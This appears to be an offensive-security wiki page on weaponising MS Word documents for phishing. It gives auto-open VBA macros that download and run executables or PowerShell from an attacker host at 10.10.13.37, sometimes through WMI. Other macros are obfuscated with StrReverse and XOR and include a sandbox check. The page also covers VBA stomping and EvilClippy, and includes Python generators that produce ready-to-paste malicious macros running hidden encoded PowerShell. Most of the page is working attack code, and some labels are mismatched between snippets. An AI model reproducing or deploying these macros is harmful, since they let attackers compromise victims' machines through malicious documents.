MS Office

MS Word Document with Switcheroo Text

  1. 1.
    Place "encrypted" data in a Word document after the pretext (random base64): head -c 2K < /dev/urandom > rnd && base64 rnd.
  2. 2.
    Create an AutoText: Insert > Quick Parts > AutoTexts > Save Selection as DecryptedBody to AutoText Gallery.
  3. 3.
    Create a macro to "decrypt" the body with readable content according to the phishing legend.
DecryptPage.vba
Sub Document_Open()
DecryptPage
End Sub
Sub AutoOpen()
DecryptPage
End Sub
Sub DecryptPage()
ActiveDocument.Content.Select
Selection.Delete
ActiveDocument.AttachedTemplate.AutoTextEntries("DecryptedBody").Insert Where:=Selection.Range, RichText:=True
End Sub

VBA Stomping

Manually

  1. 1.
    Create a .doc file with a malicious VBA macro.
  2. 2.
    Open it with FlexHEX: File > Open > OLE Compound File.
  3. 3.
    Open Macros > VBA > NewMacros file.
  4. 4.
    Locate the Attribute VB_Name ASCII string (starts with \x41\x74\x74...) and replace all the bytes with zeros till the end of the file: Edit > Insert Zero Block.
  5. 5.
    Save the .doc and exit.
Now the VBA source code is wiped and execution of macro will be performed via the P-code (if the victim's MS Word is the same).
After the macro is executed this way MS Word will decompile the P-code and put the VBA source code back into the NewMacros file, so it will reappear in the VBA editor as well.

EvilClippy

PS > .\EvilClippy.exe -s fakecode.vba macrofile.doc
DownloadWaitExec.vba
Sub Document_Open()
Hello
End Sub
Sub AutoOpen()
Hello
End Sub
Sub Hello()
MsgBox ("Hello, World!")
End Sub

VBA Macros

Wait till a malicious binary is downloaded with PowerShell and execute it:
fakecode.vba
Sub Document_Open()
hShellcodeRunner
End Sub
Sub AutoOpen()
hShellcodeRunner
End Sub
Sub DownloadWaitExec()
Dim str As String
str = "powershell (New-Object System.Net.WebClient).DownloadFile('http://10.10.13.37/evil.exe', 'evil.exe')"
Shell str, vbHide
Dim exePath As String
exePath = ActiveDocument.Path + "\evil.exe"
Wait (2)
Shell exePath, vbHide
End Sub
Sub Wait(n As Long)
Dim t As Date
t = Now
Do
DoEvents
Loop Until Now >= DateAdd("s", n, t)
End Sub

De-Chain PowerShell via WMI

De-chain PowerShell process from MS Word parent process via WMI:
StageWMI.vba
Sub Evil
Dim strArg As String
strArg = "powershell -exec bypass -nop -c IEX(New-Object Net.WebClient).DownloadString('http://10.10.13.37/run.txt')"
GetObject("winmgmts:").Get("Win32_Process").Create strArg, Null, Null, pid
End Sub
Obfuscate it using StrReverse (CyberChef or Code Beautify):
StrReverseStageWMI.vba
Function Pony(flowers)
Pony = StrReverse(flowers)
End Function
Sub Evil
Dim strArg As String
strArg = Pony(")'txt.nur/73.31.01.01//:ptth'(gnirtSdaolnwoD.)tneilCbeW.teN tcejbO-weN(XEI c- pon- ssapyb cexe- llehsrewop")
GetObject(Pony(":stmgmniw")).Get(Pony("ssecorP_23niW")).Create strArg, Null, Null, pid
End Sub
Obfuscate it using xor encryption and add heuristics detection check based on comparing the .doc name with current window name via ActiveDocument.Name:
XORStageWMI.vba
Function Pears(beets)
Pears = Chr(beets Xor Asc("a"))
End Function
Function Strawberries(grapes)
Strawberries = Left(grapes, 3)
End Function
Function Almonds(jelly)
Almonds = Right(jelly, Len(jelly) - 3)
End Function
Function Nuts(milk)
Do
Oatmilk = Oatmilk + Pears(Strawberries(milk))
milk = Almonds(milk)
Loop While Len(milk) > 0
Nuts = Oatmilk
End Function
Function Evil()
If ActiveDocument.Name <> Nuts("016022004079005014002") Then
Exit Function
End If
Dim Apples As String
Dim Water As String
Apples = "31.." _
& "33.." _
& "33.." _
& "37.."
Water = Nuts(Apples)
GetObject(Nuts("022008015012006012021018091")).Get(Nuts("054008015082083062049019014002004018018")).Create Water, Tea, Coffee, Napkin
End Function
Sub Document_Open()
Evil
End Sub
Sub AutoOpen()
Evil
End Sub

Helpers

Generate a ready-to-paste malicios MS Word macro (execution is provided by VBA Shell function):
gen_doc_autoopen_payload_vbshell.py
#!/usr/bin/env python3
# -*- coding: utf-8 -*-
import sys
from base64 import b64encode
from argparse import ArgumentParser
parser = ArgumentParser()
parser.add_argument('pwsh_file', help='PowerShell script to execute')
parser.add_argument('--chunk-size', type=int, default=200, help='length of a payload chunk line') # if less for big payloads, Windows can error out about "too many line continuations"
args = parser.parse_args()
def gen_payload_vbshell(pwsh_file, chunk_size):
with open(pwsh_file, 'r', encoding='utf-8') as f:
payload = f.read()
payload = payload.encode('utf-16le')
payload = b64encode(payload).decode()
payload = [payload[i:i + chunk_size] for i in range(0, len(payload), chunk_size)]
payload = [f'"{chunk}"' for chunk in payload]
payload = ' _\r\n& '.join(payload)
payload = f"""\
Sub AutoOpen()\r
Evil\r
End Sub\r
\r
Sub Document_Open()\r
Evil\r
End Sub\r
\r
Sub Evil()\r
Text = "powershell -exec bypass -nop -nologo -w hidden -enc " _\r
& {payload}\r
a = Shell(Text, vbHide)\r
End Sub\
""".replace('\t', '')
return payload
if __name__ == '__main__':
print(gen_payload_vbshell(args.pwsh_file, args.chunk_size))
Generate a ready-to-paste malicios MS Word macro (execution is provided by WScript.Shell):
gen_doc_autoopen_payload_wscript_shell.py
#!/usr/bin/env python3
# -*- coding: utf-8 -*-
import sys
from base64 import b64encode
from argparse import ArgumentParser
parser = ArgumentParser()
parser.add_argument('pwsh_file', help='PowerShell script to execute')
parser.add_argument('--chunk-size', type=int, default=50, help='length of a payload chunk line')
args = parser.parse_args()
def gen_payload_wscript_shell(pwsh_file, chunk_size):
with open(pwsh_file, 'r', encoding='utf-8') as f:
chunks = f.read()
chunks = chunks.encode('utf-16le')
chunks = b64encode(chunks).decode()
chunks = [chunks[i:i+chunk_size] for i in range(0, len(chunks), chunk_size)]
chunks = [f'"{chunk}"' for chunk in chunks]
print('Sub AutoOpen()\r')
print(' Evil\r')
print('End Sub\r\n')
print('Sub Document_Open()\r')
print(' Evil\r')
print('End Sub\r\n')
print('Sub Evil()\r')
print(' Dim Text As String\r')
print(' Text = "powershell -exec bypass -nop -nologo -w hidden -enc "\r')
for chunk in chunks:
print(f' Text = Text + {chunk}\r')
print(' CreateObject("WScript.Shell").Run Text\r')
print('End Sub')
if __name__ == '__main__':
print(gen_payload_wscript_shell(args.pwsh_file, args.chunk_size))

Tools

Copy link
On this page
MS Word Document with Switcheroo Text
VBA Stomping
Manually
EvilClippy
VBA Macros
De-Chain PowerShell via WMI
Helpers
Tools